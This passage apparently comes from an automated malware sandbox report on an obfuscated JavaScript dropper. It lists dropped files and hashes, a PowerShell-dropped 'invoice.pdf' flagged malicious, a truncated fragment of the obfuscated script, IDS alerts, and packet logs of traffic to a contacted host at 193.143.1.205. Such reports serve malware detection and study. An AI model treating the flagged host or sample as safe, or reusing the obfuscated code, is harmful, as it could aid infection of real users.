Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\3089dd66-3bc0-4923-86e5-bde663afcb4d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/yowYIGNP4bdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07WWL07oBGZd:twZG6b3mlind9i4ufFXpAXkrfUs0qWLa
MD5:	8D04FDC5022E491B91EC6B32F003430B
SHA1:	6619D46E06076B5669D4CC677D6D8F638189E46A
SHA-256:	7682C53053D66EF0B1A89335C88C4420226B10AFAC87A286E6E1A6BC795FEE61
SHA-512:	AA96FA56D3C5C4200BAA917D3091ADB1A5FAE7D534DD9C909D8B60AE13E902D6B71D42C2823319483414987E4B41079FA241B3D0A384EE4B281B63F834917E7D
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\54b49c00-db5c-42de-8184-57ae167bc455.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/7ZwYIGNPzWL07oYGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:zZwZG5WLxYGZn3mlind9i4ufFXpAXkru
MD5:	6BFFED7C4F343844169BCFCBDEB55B30
SHA1:	2736B22A6000870727190CC11AFABEE9403E845C
SHA-256:	324A699D7542A977D96D7491E2EC791E2866740F869B28E5358CED042A41C6D8
SHA-512:	9BF9C08274D283A346886EB89E16A8ECC2908C0E64A6D69D90B3400E1ECAEF04F14D9E93C992165CC28B65F5354E7D8ED7F5B4E1364AC80F73E5333C1DF0F712
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\b9ccedae-0644-4d72-a94f-9c4eeb0c4785.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\de575e87-0225-43bf-a28f-edf486f8b439.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15908), with CRLF line terminators
Entropy (8bit):	4.9251486759964
TrID:
File name:	31202109622954930860.js
File size:	19'385 bytes
MD5:	f7e8be4cf88234d1643d8282b299e6be
SHA1:	9f18f30efcacd5d08e906e8b7c82948005058e6f
SHA256:	eb0ebec2837640c2b65ff7a02e0b6e57f432285b7ba5821df5577f2eae49798e
SHA512:	e41403c99b274818af91d448ba867ad9f24e9708ad36c3e56df10489ccd89ddc722bf880ce86846c0259e5a60a4b1eb0226b6e6ffcb4815b984906707f94938e
SSDEEP:	192:7325Ja2ybDtB+dMS87/iZbv6rZbrtpQqDNiHq/EjsWR1onDwXee8mwBruZ9tIeOG:F6UCwNdExonFe8/BmqdYG9CiAf8I
TLSH:	659201D8E4D4C7BEC5D4CAB4B1AF0E5B21F60358751817469C363ACE0B85B20A8EB5B7
File Content Preview:	function oampa(){yfyocmd=[1031,3079,5127,4103,2055,3072];var gcodwrl=this[fvlalpl+aozsi+nplgav+abhfkknyc+djslhmxur+rdctsu+khdjutja+vjqdgcxeu](this[ellvj+fdredmfa+dbnonbck+nplgav+njwbld+fvlalpl+vjqdgcxeu][uhzvgg+nplgav+djslhmxur+aozsi+vjqdgcxeu+djslhmxur+d

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T17:46:45.095296+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-10T17:46:48.088649+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 17:46:44.225882053 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:44.230833054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:44.230935097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:44.235169888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:44.240030050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.095196009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.095221043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.095240116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.095252991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.095273972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.095288038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.095295906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.095359087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.095361948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.095372915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.095386982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.095402956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.095447063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.137897968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.137919903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.137933969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.137995005 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.226020098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.226068020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.226078033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.226138115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.226202965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.226242065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.226252079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.226253986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.226303101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.226677895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.226690054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.226701975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.226738930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.226787090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.226799965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.226833105 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.227458954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.227509022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.227530956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.227541924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.227570057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.227581978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.227601051 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.227627039 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.228337049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.228358030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.228369951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.228406906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.228432894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.228445053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.228514910 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.270147085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.270169020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.270190001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.270206928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.270210981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.270222902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.270243883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.270312071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.312877893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.312895060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.312968016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.363912106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.363930941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.363941908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.363955021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.364005089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.364015102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.364026070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.364037037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.364070892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.364146948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.364300966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.364320040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.364331961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.364382029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.364422083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.364434004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.364470005 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.364505053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.364516973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.364526987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.364547968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.364586115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.365338087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.365350008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.365361929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.365390062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.365411043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.365423918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.365456104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.365480900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.365493059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.365503073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.365536928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.365583897 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.366261959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.366281986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.366295099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.366333008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.366358995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.366370916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.366380930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.366417885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.366436005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.366456985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.366477966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.366522074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.367269993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.367281914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.367294073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.367331028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.367429972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.367440939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.367454052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.367474079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.367512941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.398648024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.398678064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.398691893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.398735046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.398745060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.398796082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.399274111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.399296999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.399308920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.399344921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.444103956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.444127083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.444137096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.444144964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.444246054 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.482959032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.482980967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.482986927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.482992887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.483000994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.483128071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.483138084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.483149052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.483160019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.483201027 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.483257055 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.483290911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.483302116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.483355045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.483376026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.483433008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.483436108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.483443975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.483490944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.483581066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.483592033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.483602047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.483633995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.483789921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.483839989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.483853102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.483864069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.483885050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.483910084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.485352993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.485364914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.485373974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.485435963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.485439062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.485450983 CET	80	49730	193.143.1.205	192.168.2.4
